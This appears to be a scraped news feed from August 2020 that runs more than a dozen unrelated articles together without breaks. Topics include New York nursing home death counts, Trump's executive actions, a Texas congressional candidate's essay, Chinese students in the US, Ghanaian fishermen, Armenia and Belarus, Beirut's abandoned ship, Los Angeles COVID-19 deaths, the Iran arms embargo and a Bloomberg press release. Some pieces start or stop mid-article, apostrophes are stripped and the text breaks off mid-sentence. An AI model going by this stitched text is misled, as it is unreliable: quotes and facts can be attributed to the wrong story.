Kim, a Democratic state legislator from Queens, said he has no faith that the state has been honest about what happened as a result of its policy. Kim, a member of the State Assemblys Health Committee, said he had taken an intense interest in the states efforts to protect nursing home residents. One ZIP code in his Queens district had more nursing home deaths than any other in the state, he said. One of those deaths was a member of his family. Kim said he had filed Freedom of Information requests seeking all administration communications about nursing homes during the pandemic. The theme of the report was to shift the blame and scapegoat the workers and the families over the decision that the executive office had made, Kim said of the Health Department report made public last month. Its clear that the executive office is directing and ordering up the report and data collection in a way that will give them what they want out of the report. They are trying their best to use government resources and the Department of Health to exonerate the executive office of any wrongdoing, Kim added. Kim said given the states lack of transparency, it was impossible to say whether whats alleged to have happened at the Barnwell facility may have been more widespread. Kim and other lawmakers have said they know of no other state that counts nursing home deaths the way New York currently does. Informed of Kims specific claims, the state Health Department referred ProPublica to public statements made by Zucker, the departments commissioner. On Aug. 3, Zucker testified before a joint hearing held by state legislators. He was grilled repeatedly about the states seeming inability or unwillingness to answer basic questions about how many nursing home residents might have died to date in the pandemic. The policy of not counting deaths in hospitals was revisited again and again. Addressing Zucker in one exchange, state Senate Investigations Committee Chair James Skoufis, a Democrat from the Hudson Valley where Barnwell is located, said: Its my opinion that your administrations definition truly misrepresents the scale of this crisis as a result. So lets try and get the full picture here and now: How many of New Yorks nursing home residents died in hospitals? Zucker insisted the state couldnt say because it didnt yet have a fully accurate count. You dont have a ballpark that you can give? So the total official number is about 6,500. Are we talking with the hospital deaths: 8,000? 10,000? 15,000? What are we looking at? Skoufis countered. Im not prepared to give you a specific number. We are in the middle of a pandemic obviously, we always forget about that sometimes, Zucker said. We are looking at all the numbers, we are looking at the data, when the data comes in and I have an opportunity to piece through that, then I will be happy to provide that data to you and to the other members of the committee. State Senate Health Committee Chairman Gustavo Rivera, a Democrat from the Bronx, suggested a final count wasnt needed to see what the administration was doing. It seems, sir, that in this case you are choosing to define it differently so you can look better, he said. That is a problem, bro. ProPublica asked the state Health Department if it had ever excluded fatalities of residents transferred to hospitals in counting deaths of nursing homes residents during outbreaks of the flu or other infectious diseases. The state did not directly respond but said in a statement, This is a global pandemic, the likes of which we have never seen before. There is no precedent. Elaine Healy, acting president of the New York Medical Directors Association, said it shouldnt be hard for the state to have an accurate count of how many nursing home residents died of COVID-19 in hospitals. Theyd counted these deaths in the nursing home totals early on, she said, and the numbers would be quite easy to get from the hospitals. The outbreak at Barnwell was one of two involving local nursing homes in Columbia County. When the outbreak at Barnwell became public in early May, Patsy Leader, the town supervisor in nearby Kinderhook, called for the state to intervene, accusing Barnwell of trying to cover up the dumping of dying residents. Leader repeated the allegation in a brief interview with ProPublica. Gendron, the Barnwell executive, eventually traveled to Barnwell to personally handle the crisis. In a series of interviews and exchanges with ProPublica, Gendron said he was not aware of the states claim that Barnwells first case of COVID-19 involved a hospital transfer. He said the company had been alarmed by the Cuomo administrations policy requiring nursing homes to accept COVID-19 patients being discharged from hospitals. The chance that such patients could trigger or worsen an outbreak in nursing facilities was real, he said. We were very concerned, Gendron said. Its a very contagious virus. And nursing homes provide very hands on care. The challenge, he said, was only worsened by the fact that the states policy prohibited homes from testing arriving hospital transfers to see if they were still positive and thus possibly contagious. Gendron said he was not even sure if the hospitals were obligated to notify the home that the arriving patient had been treated for COVID-19. One would think they should have disclosed that, Gendron said. We always believed the best practice was to isolate any COVID residents. But we didnt even know who was or wasnt. The executive actions President Donald Trump took on the weekend were pitched as a unilateral jolt for an ailing economy. But there is only one group of workers that seems guaranteed to benefit from them, at least right away: lawyers. Trump's measures include an eviction moratorium, a new benefit to supplement unemployment assistance for workers and a temporary delay in payroll tax liability for low- and middle-income workers. They could give renters a break and ease payments for some student loan borrowers. But they are likely to do little to deliver cash any time soon to Americans hit hard by the recession. Trump's executive actions will not provide any aid to small businesses, state and local governments or low- and middle-income workers. Credit:AP Even conservative groups have warned that suspending payroll tax collections is unlikely to translate into more money for workers. An executive action seeking to essentially create a new unemployment benefit out of thin air will almost certainly be challenged in court. And as Trump's own aides concede, the orders will not provide any aid to small businesses, state and local governments or low- and middle-income workers. If the actions signal the death of a congressional deal to provide that aid, economists warn, the economy will limp toward November without the fiscal support that hastened its recovery after its quick dive into a pandemic-induced recession. Source: Xinhua| 2020-08-11 15:47:39|Editor: huaxia Video Player Close COLOMBO, Aug. 11 (Xinhua) -- Sri Lanka is in talks with Myanmar Airways International (MAI), a private carrier based in Myanmar, to establish direct air connectivity between the two countries, local media reported on Tuesday. Ambassador-designate of Sri Lanka to Myanmar Nalin de Silva stressed the importance of cultural and historical ties between Sri Lanka and Myanmar in a meeting held with the top management of MAI. De Silva highlighted the importance of direct air connectivity in promoting tourism in both countries, the statement said. It said travelers between the two countries spend considerable time in transit while the flight time is just less than three hours. Enditem It was time to leave Lebanon. In 1984, nearly 10 years into a violent and disruptive civil war that killed 120,000 people, my parents made the brave decision to flee the unrest for the chance of creating a better life in the United Statesfor themselves and the children they hoped to have. They left a country they loved, one where their families and friends would remain, to move to a new one where they had no relatives or connections. They knew they could not succeed in a country full of turmoil and government corruption. So they started over. After arriving in America, both worked hard in their fields of medicine and were able to provide for their two children. As a result, my brother and I had the opportunity to not only succeed in this country but also be of service. I'm now running to represent Texas's Third Congressional District in the House of Representatives. If I win, I'll be the first Arab American woman that Texas sends to Congress. My dad has campaigned with me and marvels at the scene on the trail. When he escaped civil war with my mom, he never imagined his daughter could ever run for political office. This would only happen in America, he would tell me. Long ago Beirut, Lebanon's capital, was deemed the Paris of the Middle East, not only because of its history as a French colony, but also due to the fun-loving nature of the people, the high-end fashion, and the gourmet cuisine. The Lebanese people are some of the most sophisticated, educated, and kind people I have ever met. In so many ways they celebrate multiculturalism. Walking through Zaitunay Bay in Beirut, I have often heard women greeting friends with three kisses on the cheek saying, Hi, keefik, ca va? This trilingual greeting is common among the Lebanese, many of whom speak at least three languages, often in one sentence. Even now the Lebanese people still embrace life to the fullestnot just when things are good, but when life gets hard too. In October 2019, Lebanese citizens took to the streets to protest government failures and corruption, but the massive gatherings didn't look like the usual demonstrations. Many of the protests took on an atmosphere akin to an outdoor nightclub, fully equipped with DJs and dancing. Alongside picket signs, protesters waved glow sticks. It was an amazing show of the Lebanese spirit. Story continues Lulu Seikaly 2 Courtesy of Lulu Seikaly Unfortunately, the warm and fun-loving nature of the Lebanese people masks a tumultuous history. Lebanon has often been used as a battleground for other countries wars, and too many of its leaders have been corrupt. It is a tragic set of circumstances for all and fills me with great sadness. The explosion in Beirut on August 4, 2020, could not have come at a worse time for Lebanon. In addition to the coronavirus pandemic, Lebanon was still reeling from a financial crisis that started in October 2019, when Lebanese citizens, along with millions of people across the world, took to the streets to demand the resignation of the Lebanese prime minister and his government. Since the explosion I have spent many hours checking on family and friends in Beirut, responding to WhatsApp messages from loved ones whose homes were destroyed and seeing horrifying pictures and videos of streets I have visited many times. Many places that were a part of my life were destroyed. Many people I care about have had their lives turned upside down. This disaster has reminded me that the Lebanon my parents fell in love in and subsequently left 36 years ago is one where the government has turned a blind eye to its people. And the United States did nothing to help. This is not the Lebanon that my parents ever wanted me to see. My parents wanted me to always think of Lebanon as a place with fun, loving memories. A place where you could go to the beach and ski on the same day. They did not want my memories of their home country to mimic their memories during the violent civil war they fled. Every time I stepped off the airplane at Beirut-Rafic Hariri Airport, I truly felt it was my second home. The Lebanese people have an innate ability to make you feel as though you are family, no matter what your religion or background is. I have been so fortunate to visit Lebanon several times, and the Lebanon I have experienced is not the same Lebanon my parents left during the tumultuous civil war. What I do know is that the Lebanese people are resilient, and I am grateful to have inherited that resilience. My background as an American of Lebanese ancestry is not some meaningless extra notch on my belt. It is so important on several levelsfrom the small things, like eating tabbouleh at Thanksgiving, to the big things, like my core beliefs and values. My Lebanese American heritage has taught me about caring for community and preserving the American dream for future generations. I want every single American to have the opportunity to succeed here just like my parents did. I am eager to be a strong voice and advocate not just for my constituents in their daily struggles but for their hopes and dreams. I intend to represent them proudly and successfully, but always with an eye toward their brighter futures. Lulu Seikaly 1 Courtesy of Lulu Seikaly The Texas Third Congressional District is a northern suburb of Dallas that has benefitted from a massive population boom over the past decade. With this boom came an increased diversification with many immigrant and first-generation families. Rated as the most educated congressional district in the entire country that is still represented by a Republican, my district is clearly ready for change and for a representative who will represent the values, community-building values, that were instilled in me at such a young age. I am running for U.S. Congress to uphold two legacies of great people. I'm running to uphold the legacy of the American people and the Lebanese people. I stand on the shoulders of two great cultures that are being blindsided and abused by the powers that be. When I speak to voters, I often say, "We cannot change Washington without changing who we send there." This is true now more than ever. Whether we are talking about the United States or Lebanon, we know that to enact the change we seek, diverse, committed, and ethical leadership matters. Lulu Seikaly, 34, is the Democratic nominee for Congress in Texass Third District. If elected in November, she will be the first Arab American Congresswoman from Texas. Originally Appeared on Glamour Source: Xinhua| 2020-08-11 21:02:19|Editor: huaxia Video Player Close HANGZHOU, Aug. 11 (Xinhua) -- Eight villages in east China's Zhejiang Province are recruiting professional managers with annual performance bonuses of up to 1 million yuan (about 144,000 U.S. dollars). The eight villages are in the Yuhang district of Hangzhou, the provincial capital of Zhejiang, and candidates with bachelor degrees or above across the country can sign up before Aug. 18, according to the district department of agriculture and rural affairs. After the signing-up process is complete, the department will hold a written examination, as well as interviews for the candidates. Each village plans to recruit one professional manager with a first employment term of two years, said Wang Xiaoying, an official with the department. "This is the second year that we are recruiting rural managerial personnel," said Wang, adding that three villages took part in the recruitment last year, but two professional managers later left for higher pay, and only one stayed. "We are offering higher salaries this year, increasing the annual base pay from 150,000 yuan to 180,000 yuan," said Wang. Two villages are even offering performance bonuses of up to 1 million yuan. Agricultural management was among 13 new professions that China's human resources authorities released in April 2019 to keep pace with economic and technological development. Thanks to the continuous attention the central authorities have been paying to agriculture and rural areas over the past years, new business models are mushrooming in the countryside, thus increasing demand for new managerial personnel, said Gu Yikang, chief expert with the Zhejiang rural vitalization research institute. Zhejiang is among the leaders in the country's rural vitalization drive, with great efforts being made to protect the natural environment and traditional culture. As a result, local rural tourism is seeing rapid development. Enditem Some people want to march and chant and thats it, some people want to take the next step of getting arrested for doing nothing, and some people want to set a dumpster on fire or throw a burning pizza box inside a building, said West, who has protested as part of the PDX Dad Pod a group known for attending demonstrations with leaf blowers to clear the air of tear gas and other chemicals. The last thing Im going to do is get in the way of somebody elses protest. Flash As new university semester is approaching, overseas Chinese students unable to return to universities in the United States because of the pandemic, which remains rampant there, have little option but to attend online classes overnight due to the time difference. The only other option is to suspend their schooling. Ao Jiamin, a sophomore student majoring in interior design at the California College of the Arts, is staying at home in Hangzhou, capital city of east China's Zhejiang province. Ao has made the decision to suspend her schooling because of the continuous spread of the novel coronavirus disease, of which cases topped 5 million in the United States on Aug. 10. "My professional facilities are not available here and professors cannot check my work, which, nevertheless, is essential to my academic improvement," she said. Ao planned to get married upon her graduation, however, all her schedules have to be postponed because of the pandemic. But her parents said her safety is their top concern. Between 2018 and 2019, nearly 370,000 Chinese students were studying at U.S. universities, accounting for one third of the country's overseas students. Because of the difficulties in applying for a new visa, Zhang Xiaokun, who is a freshman majoring in social science at the University of California (UCSC), chose to take online classes at his Beijing home, regardless of the time difference. "Since the professors have more time to prepare for online classes, the lessons will be much improved," he said, adding that he would save money spent on rent and food. He also said that meals served at home taste better. Despite all universities in the United States converting to remote online teaching, this year's graduates are concerned about papers and employment. Li Xinyu, who is a senior student majoring in business administration at the University of San Francisco is concerned about his graduation. He chose to continue his online course because he is worried that he may not be able to graduate in the normal four years, which may, in turn, increase his employment pressure as he is scheduled to find a suitable job. Although he chose to continue to take online classes, he still had some concerns. He is worried that the lack of direct communication with teachers and the inability to use the school's library resources might impact his studies. In addition, the current political situation is very unfavorable for Chinese students studying in the United States, and they may not have the opportunity to go to the United States in the future, so he has to do everything possible to finish his studies. Tang Jia'er, a freshman majoring in finance at the University of San Francisco decided to suspend his schooling. Tang returned to China at the end of March, but because of the online courses, his body became very weak, and he could not sleep well. When he slept, he often worried about being late for class. He hopes the outbreak will end soon so he can go back to school next January. "We don't have any other options right now, and it took a lot of hard work to get to this point," he said, adding that all overseas students studying in the United States hope that the epidemic and riots in the country can come to an end as soon as possible. Berwyn Ibrahim has protested outside the Peoples Assembly, claiming that the recent elections were fraudulent and that was the reason for her defeat writes Shaam Network. The Youth Party for Development and Change confirmed the news that the Assad regime has arrested the head of the party, which is licensed by the regime itself, Berwyn Ibrahim, on Monday in front of the Peoples Assembly building in Damascus, where Ibrahim participated in a sit-in claiming that her failure in the elections is due to fraud. Al-Khabour News Network said that the regime forces arrested Ibrahim after she questioned the integrity of the Peoples Assembly elections. The Kurdish Rudaw website wrote that among the detainees are three members of the Youth Party, namely Basil Hokan, Jaafar Mashhadiya, and another member from Aleppo, while they were participating in a protest in front of the Applause Assembly building. (Editors note: The Applause Assembly is a name used by the opposition as an alternative to the Peoples Assembly) Each of the Solidarity Party, the Youth Party for Development and Change, and the Syrian Democratic Peoples Party, which are all opposition parties licensed by the regime, have called for a symbolic protest in front of the Assad parliament during its first session on Monday. They said that they are demanding a democratic process, which the regime ended with the arrest of a number of people and Ibrahim. Applause Assembly candidate, Ibrahim, had previously launched a scathing attack on the Baath Party, accusing it of being exclusionary, refusing to participate in the political process, and behaving as if the Syrian state were their jungle. In a video she put up on her Facebook page, Ibrahim wondered what the previous parliament, which was controlled by the Baath Party, offered the people. This article was translated and edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author. Canoe fishermen in the Western Region will on Wednesday, August 12, 2020, join their colleagues from other parts of Ghana for a national protest against industrial trawlers engaged in illegal fishing - saiko. The fishermen say the illegal and over-fishing by the industrial trawlers was dramatically depleting fish stocks in Ghana waters and impacting greatly on their business. Saiko has been described as a severely destructive form of illegal fishing, where industrial trawlers target the staple catch of artisanal fishers and sell this fish back to local coastal communities at a profit. It threatens jobs and food security and endangers Ghanas economy. It is also referred to as Galamsey on the sea. Industrial trawlers, licensed to harvest demersal (bottom-dwelling) species such as octopus, are now deliberately targeting the same species as the artisanal fishing community. This phenomenon has contributed to the decline and near collapse of the small pelagic stocks such as sardinella (Eban in fante), chub mackerel (Saman in Ga) and anchovies (Abobi in Ewe). The specially adapted saiko canoes are designed for transporting frozen fish and not for fishing. They land these catches at the ports of Elmina, Apam and Axim for onward sale to local markets. The fishermen in the Western Region say there are currently more than 43 trawlers allowed by the fisheries management act to trawl in Ghana's waters operating. They mentioned the current number which they say are causing havoc as 76. Speaking to Graphic Online the fishermen said they spend so much to go fishing and return with nothing. This, they said was a threat to their livelihood as they are being forced to abandon their century old trade and collect left overs from industrial trawlers. The Western Regional Secretary of the Ghana National Canoe Fishermen Council (GNCFC), Mr Abaka Adu said beginning Wednesday, the fishermen from New Town in the Jomoro Municipality will join their colleagues from other parts of the country all the way from Jomoro to as far as Aflao to lay down their tools in protest. "We know that in 2017, the government promised to end illegal transshipment known as Saiko. The practice is illegal but the appropriate government agencies are yet to enforce the law to end the practice. Source: graphiconline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Prime Minister Nikol Pashinian has heard criticism in Armenia over his hasty congratulations to Belarusian President Alyaksandr Lukashenka on his re-election in a ballot disputed by his main opposition challenger. In his official message to Lukashenka on Monday Pashinian expressed his confidence that through our joint efforts we will continue to strengthen the friendship between our peoples, to expand mutually beneficial cooperation between our countries both bilaterally and within the framework of international organizations and integration associations. Belaruss Central Election Commission said preliminary official results from the August 9 presidential election showed incumbent President Lukashenka winning a landslide victory with more than 80 percent of the vote, compared to less than 10 percent for his main rival, Svyatlana Tsikhanouskaya. Tsikhanouskaya, who drew tens of thousands of people to her campaign rallies, refused to recognize the preliminary official results announced on Monday. The ballot in Belarus was followed by violent clashes between police and thousands of protesters who say the official results from the election commission were rigged. A human rights group in Minsk said that at least one protester was killed in the clashes, but Belaruss Interior Ministry denied that. European Commission President Ursula von der Leyen on August 10 condemned the violence in Belarus, calling on the Belarusian government to accurately count and publish the polls results. Armenias leading human rights activist Artur Sakunts believes that in such conditions a hasty congratulatory message from a leader like Pashinian who himself came to power due to mass street protests was unacceptable. In a Facebook post Sakunts, who heads the Vanadzor office of the Helsinki Citizens Assembly, also drew parallels between the current developments in Belarus and Armenias post-election protests in 2008 in which 10 people were killed and for which former President Robert Kocharian is currently on trial in Yerevan. He wrote: How can a state whose prime minister congratulates dictator Lukashenka later prosecute Kocharian for the same? This is a complete anachronism of values and principles... This is just absurd. Sakunts stressed that in such conditions the leader of a democratic country should not send congratulatory messages at least until final official results are published. If he wants to show his attitude in any way, he should at least express his concern over the fact of human rights violations and call for the resolution of all issues within the framework of the rule of law, the human rights activist said. Opposition Bright Armenia party leader Edmon Marukian also believes that Pashinian hurried by congratulating Lukashenka. He said that he saw a conflict of values between the track record of Armenias current governing force and the prime ministers congratulatory message. I would wait for the processes of disputing the election results by the opposition to go through at least internal instances and only then make a decision on that. In this regard, the prime minister took a hasty step, Marukian said. One protester already died [in Belarus in clashes with police]. More than 3,000 people have been detained. Opposition leaders are in jail, media leaders and journalists are in jail. And the prime minister is putting it all aside and hurrying to congratulate [Lukashenka]. The prime ministers spokesperson Mane Gevorkian refused to comment on the criticism, but said that she was aware of that and followed it. Ruben Rubinian, a member of Pashinians My Step alliance who heads the parliaments foreign relations committee, has dismissed the criticism, saying that he sees nothing unacceptable in the Armenian prime ministers congratulations to Lukashenka. In general, international relations are different from domestic politics. International partnership, relations between the heads of state have a different level and have other components, Rubinian said. Armenia is a member of the Russian-led Eurasian Economic Union and Collective Security Treaty Organization both of which also include Belarus. Other leaders of the alliances, including Russian President Vladimir Putin and Kazakhstans President Qasym-Zhomart Toqaev, also sent congratulatory telegrams to Lukashenka on his re-election. Belaruss autocratic leader who turns 66 later this month has occupied the presidential post since 1994. Hidden behind the tragedy of the recent deadly explosion in Beirut is the more pervasive travesty of the abandonment of ships, seafarers and cargo, and unless the global public reckons with this deeper problem a next disaster is all but inevitable. Though Lebanese investigators say that nearby fireworks likely ignited the 2,750 tons of explosive ammonium nitrate, the true causes of this explosion stem from slower-moving and less dramatic factors: anemic enforcement by shady flag registries that are supposed to hold shipowners accountable, tightened immigration controls that routinely trap stranded crews on decrepit ships, lax rules and a maritime bureaucracy designed more to protect anonymity of shipowners than to enable oversight and transparency of the industry. These are the factors that make it so easy for vessel owners and operators to walk away from their responsibilities usually with impunity, and sometimes with life-or-death consequences for the crew that gets left behind. While transporting the dangerous chemical, the Russian-owned ship called the Rhosus was detained by Lebanese officials in 2013 for being unseaworthy, after which the ships owner, Igor Grechushkin, was confronted with heavy fines, including roughly $100,000 in back wages and port fees. In response, Grechushkin did what many shipowners do. He cut his losses, declared bankruptcy and quietly disappeared, abandoning the dilapidated ship and its deadly cargo. Meanwhile, the Rhosuss crew found themselves in a bind that is surprisingly common for seafarers around the world. Lacking clean water, fuel or food, not to mention cell service, legal help or the ability to speak local language, these men had no money to get home nor even the immigration papers allowing them to disembark. While warning anyone who would listen about the dangers of the Rhosus cargo, several of the stranded crew waited a full year before they were able to go home with help from the International Transport Workers Federation (ITF), which is the largest global seafarers union. On any given day, hundreds of ships and thousands of seafarers are in the same situation. A database created by the ITF and the United Nations indicates that nearly 5,000 seafarers were abandoned on their vessels in nearly 400 separate incidents between 2004 and 2018. Part of the problem is that jettisoning an old ship in port or at sea is easier and cheaper than disposing of it properly even though it creates severe hazards like the one near Manila, where an abandoned Spanish tanker is currently stranded with 15 men on board. The ship is at risk of catching fire or exploding because it is fully loaded with liquified petroleum gas but lacks enough fuel to keep the cargo refrigerated. These risks are global when they occur at choke points. Take, for instance, the FSO Safer, a full oil tanker that was abandoned last year in one of the worlds busiest shipping routes last year along the coast of Yemen. This possible floating bomb could send a shudder through the global energy industry if it ground commercial traffic to a halt. That the owner of the Rhosus in Beirut could disavow his duties so easily is partly a consequence of the distinctly transient and transnational nature of the industry. Lebanaese authorities were hard-pressed to arrest Grechushkin or seize his property since he lived not in Lebanon but in Cyprus, and his shipping company, Teto Shipping Ltd., was registered on the Marshall Islands. The COVID-19 pandemic has made matters worse, stranding tens of thousands of ships and roughly 400,000 mariners at sea and in ports. The ITF has been receiving emails from hundreds of seafarers daily, expressing their concern about contracts being extended under duress, said Stephen Cotton, general secretary of the ITF. Port officials globally have a tough time preventing the abandonment of ships or seafarers partly because of the opaque way that the shipping industry polices itself. For centuries, the worlds merchant fleets flew the flag of the country of their home port. That country was responsible for ensuring the proper treatment of the crew and safety of the vessel. This began to change in the early 20th century with the emergence of open registries, also called flags of convenience. The company collecting fees for the right to fly a certain flag is also responsible for policing its customers, ensuring they abide by safety, labor and environmental rules, and conducting investigations when things go wrong. But in practice, flags of convenience create a perverse incentive for ship operators to shop around for the most lax registries with the lowest prices and fewest regulations. The Rhosus, for instance, was flagged to Moldova, which at least since 2013 has been on a black list due to the number of times the registrys ships have been inspected or detained, according to the Paris MoU, an organization that monitors marine traffic. The shipping industry has taken some productive steps, including by imposing a new rule requiring larger shipowners to carry insurance to cover the costs of sailors marooned in port. Satellite firms like SkyTruth and KSAT have also started playing a forensic role connecting the dots between major spills, abandoned vessels and their operators. But until some of the privacy facilitated by flags of convenience is stripped away and all ships are required to have unique and globally standardized tracking numbers, law enforcement and port authorities will struggle to hold shipowners accountable. Ian Urbina, a former investigative reporter for the New York Times, is director of The Outlaw Ocean Project, a non-profit journalism organization based in Washington, D.C., that focuses on reporting about environmental and human rights crimes at sea. A nurse administers a COVID-19 test at a drive-through site in Colton. (Irfan Khan / Los Angeles Times) Total deaths from COVID-19 topped 5,000 in Los Angeles County on Tuesday, in what officials are calling a "heartbreaking" milestone for a health and economic crisis that won't disappear anytime soon. The county on Tuesday confirmed 63 deaths and 1,440 new cases of COVID-19, bringing the totals to 5,057 deaths and 211,808 cases since the outbreak began. "This is heartbreaking and reminds us of the human toll of this pandemic," said Dr. Barbara Ferrer, the county health director. One of the deaths we are reporting today is of a young adult under the age of 29. This is a reminder that the risk for all of us is real and that no matter how young you are, this virus can be deadly." Like the statewide totals, Los Angeles County's latest figures are incomplete and do not include results from all labs, officials said. Cases that are unaccounted for do not affect Los Angeles County's reporting on key outbreak indicators, such as the number of hospitalized patients: 1,524, with 32% in intensive care. On Monday, Gov. Gavin Newsom and other state officials held a press conference announcing that they'd cleared up a backlog of 250,000 to 300,000 test results dating from July 25. The confirmed cases from those backlogged tests will be included in statewide daily totals through the week. To that end, California on Monday reported 13,149 new COVID-19 cases, with additional older results expected to increase daily totals throughout the week. "The issue with the states electronic laboratory reporting system has been addressed, and the system is now performing as expected," the California Department of Public Health said in a media statement Monday. "The entire backlog has been completely eliminated, and new cases attributed to the backlog will be reported over the next few days." Without an accurate picture of confirmed cases in recent days, many local officials who relied on the system had to conduct their own tallies to understand how the virus was spreading in their communities. The infection rate is a closely watched indicator for counties looking to reopen businesses and schools. Story continues The Central Valley is currently the hardest-hit part of the state. Infections are spreading rapidly in Kern County, where there are now more than 1,000 cases per 100,000 residents, and Merced County, where there are 827 cases per 100,000 residents. Both counties have banned outdoor gatherings as a result. By comparison, Los Angeles County has about 340 cases per 100,000 residents. In Northern California's Lake County, where there are slightly more than 100 cases per 100,000 people, one of the state's reopening thresholds, the testing backlog resulted in some extra computer work for nurses, but not much else. "Were so small that we pretty much get the data, the relevant data, straight in, and the state data is almost a backup for us," said Lake County Public Health Officer Gary Pace. "We've been on top of it all along I think a bigger problem would've been if we missed cases or some contact tracing." Another looming concern, Pace said, is wildfire season. The county has a history of devastating fires, and though COVID-19 case numbers are relatively low, they could spike if people are forced to shelter together to avoid a wildfire. "There's a huge history of wildfires here, and the biggest deal is preparing for the evacuation shelters," he said. State officials provided more details on the data glitches at a news conference Monday, saying the reporting delay could be traced back to a server outage on July 25 within the state's tracking system, the California Reportable Disease Information Exchange, or CalREDIE, that kept 250,000 to 300,000 test results from being uploaded. The delays were exacerbated by decisions made behind the scenes, officials said, and on Sunday, the state's director for the Department of Public Health, Dr. Sonia Angell, resigned. "These things are unfortunate, but we are moving forward, Newsom told reporters during a news briefing Monday in Sacramento. Im governor. The buck stops with me. With the data beginning to arrive, the state case total continues its climb. Overall, California has had 574,411 confirmed COVID-19 cases, more than any other state, and 10,468 coronavirus-related deaths, . After officials discovered the data backlog, the state stopped adding and removing counties from its watchlist of areas experiencing higher rates of transmission. Inclusion on the list subjects the counties to more restrictions than parts of California with lower caseloads. Thirty-eight counties, representing 97% of the states population, are on the list. Newsom said he was confident that the updated statewide data on the rate of positive coronavirus tests would look favorable and cited other public health indicators showing a 19% decline in COVID-related hospitalizations over the last two weeks. That progress includes a 13% decline in admissions to ICUs, Newsom said. About 8% of statewide hospital patients are being treated for COVID-19, down from 9% last week. A new California system could allow local public health officials to grant waivers to reopen some elementary schools if the surrounding counties meet state standards. Officials have said that counties with coronavirus transmission rates higher than 200 cases per 100,000 residents should not apply. As hospitalization rates and ICU admissions fall, more and more counties will have an opportunity to consider the waiver process and determine if it is the right thing for local school districts, said Mark Ghaly, Californias Health and Human Services secretary. Officials in Los Angeles County have said that no elementary schools will be allowed to reopen immediately. Teachers, administrators and other staff will be allowed to return to school buildings if they observe social distancing and wear face coverings, officials said. Times staff writers Taryn Luna and Melody Gutierrez contributed to this report. Gulf Arab Countries Back Extension Of UN Arms Embargo On Iran By RFE/RL August 10, 2020 The Gulf Cooperation Council has sent a letter to the United Nations endorsing an extension of an arms embargo on Iran, which the United States has vehemently argued must not be allowed to expire. The Arab nations comprising the council -- Bahrain, Kuwait, Oman, Qatar, Saudi Arabia and the United Arab Emirates -- sent the letter on August 9. The letter, signed by General-Secretary Nayef al-Hajraf on behalf of the bloc, said that since the Iran nuclear deal was signed in 2015, "Iran has not ceased or desisted from armed interventions in neighboring countries, directly and through organizations and movements armed and trained by Iran." It would therefore be "inappropriate" to lift restrictions until Iran "abandons its destabilizing activities in the region and ceases to provide weapons to terrorist and sectarian organizations." Iranian Foreign Ministry spokesman Abbas Musavi condemned the letter and called it an "irresponsible" statement that serves U.S. interests, Iranian state TV reported. Musavi also criticized the Gulf Arab countries for being among the largest arms buyers "in the region and the world." The UN banned Iran from buying major foreign weapons systems in 2010 amid tensions over its nuclear program. The embargo has kept Iran from purchasing foreign-made conventional weapons like fighter jets, tanks, and warships. U.S. Secretary of State Mike Pompeo has warned that allowing the embargo to expire would further destabilize the Middle East, put Israel and Europe at risk, and endanger U.S. lives. The United States will seek a UN Security Council vote this week to extend the embargo, Pompeo said. The U.S.-drafted resolution seeks to extend the embargo, which is set to be progressively eased beginning on October 18 under a Security Council resolution that enshrined the 2015 nuclear deal between Tehran and world powers. In the Security Council, veto-wielding Russia and China have said they oppose extending the arms embargo and have questioned Washington's right to use a disputed legal move to force a return of UN sanctions on Iran after its unilateral withdrawal from the nuclear deal in 2018. If the Security Council doesn't prevent Iran from buying and selling weapons when the embargo ends, Washington has said it will trigger a "snapback" of all UN sanctions on Iran. Source: https://www.rferl.org/a/gulf-arab- countries-back-extension-of-un-arms- embargo-on-iran/30775330.html Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address The term dictionary hardly does the work justice, linguist Judith Aissen of the University of California at Santa Cruz wrote in an email about Laughlin, who died in an Alexandria, Va., hospital on the eve of his 86th birthday. By including not just translations but the etymology and evolution of Tzotzil words, with maps and other features, Laughlin did for a third-world language with no written tradition what is rarely done: he gave it the full descriptive treatment usually reserved for the worlds big languages, Aissen said. LONDON, Aug. 11, 2020 /PRNewswire/ -- Bloomberg today announced the launch of proprietary ESG scores. This initial offering includes Environmental and Social (ES) scores for 252 companies in the Oil & Gas sector, and Board Composition scores for more than 4,300 companies across multiple industries. "ESG data is critical to the investment process. We see an opportunity to provide transparent and complete scoring methodologies along with the underlying data in order to support investment and finance professionals make informed decisions," said Patricia Torres, Global Head of Bloomberg Sustainable Finance Solutions. "By providing transparent ESG data and scores, we are helping investors decode raw data that is otherwise hard to compare across companies. For corporates, these scores offer a valuable, quantitative and normalized benchmark that will easily highlight their ESG performance." The ES scores will begin with the Oil & Gas sector as there is typically stronger disclosure data from these companies, which account for more than half of carbon dioxide emissions related to fuel combustion and generate 15% of global energy-related greenhouse gas emissions, according to the IEA. The governance scores will start with Board Composition as there has been increased scrutiny on the role of corporate boards in providing proper leadership and oversight over long term strategic performance. The Board Composition scores enable investors to assess how well a board is positioned to provide diverse perspectives and supervision of management, as well as to assess potential risks in the current board structure. The quantitative model is designed by Bloomberg governance specialists and utilizes Bloomberg's management and board level data. The scores rank the relative performance of companies across four key focus areas of diversity, tenure, overboarding and independence. The ES scores provide a data-driven measure of corporate environmental and social performance that investors can use to quickly evaluate performance across a range of financially material, business-relevant and industry-specific key issues, such as climate change and health and safety, and assess company activities relative to industry peers. Bloomberg's proprietary quant model is informed by sustainability and industry frameworks, research and analysis to reduce noise, normalize data, address size bias, and disclosure gaps. Bloomberg's ESG scores are fully transparent. Investors can examine both the scoring methodology and the company reported data underlying each score. In addition to ESG scores, Bloomberg provides a number of sustainable finance solutions, offering data-driven insights to help investors integrate ESG throughout the full investment process. This includes solutions to combine and standardize company-reported and third party data, access to news and research content, analytics and research workflows built specifically for investors around ESG. Subscribers to the Bloomberg Terminal can view the scores at {BI ESG } by selecting ESG Scores from the Data Library. For more information, please visit this link. About Bloomberg Bloomberg, the global business and financial information and news leader, gives influential decision makers a critical edge by connecting them to a dynamic network of information, people and ideas. The company's strength delivering data, news and analytics through innovative technology, quickly and accurately is at the core of the Bloomberg Terminal. Bloomberg's enterprise solutions build on the company's core strength: leveraging technology to allow customers to access, integrate, distribute and manage data and information across organizations more efficiently and 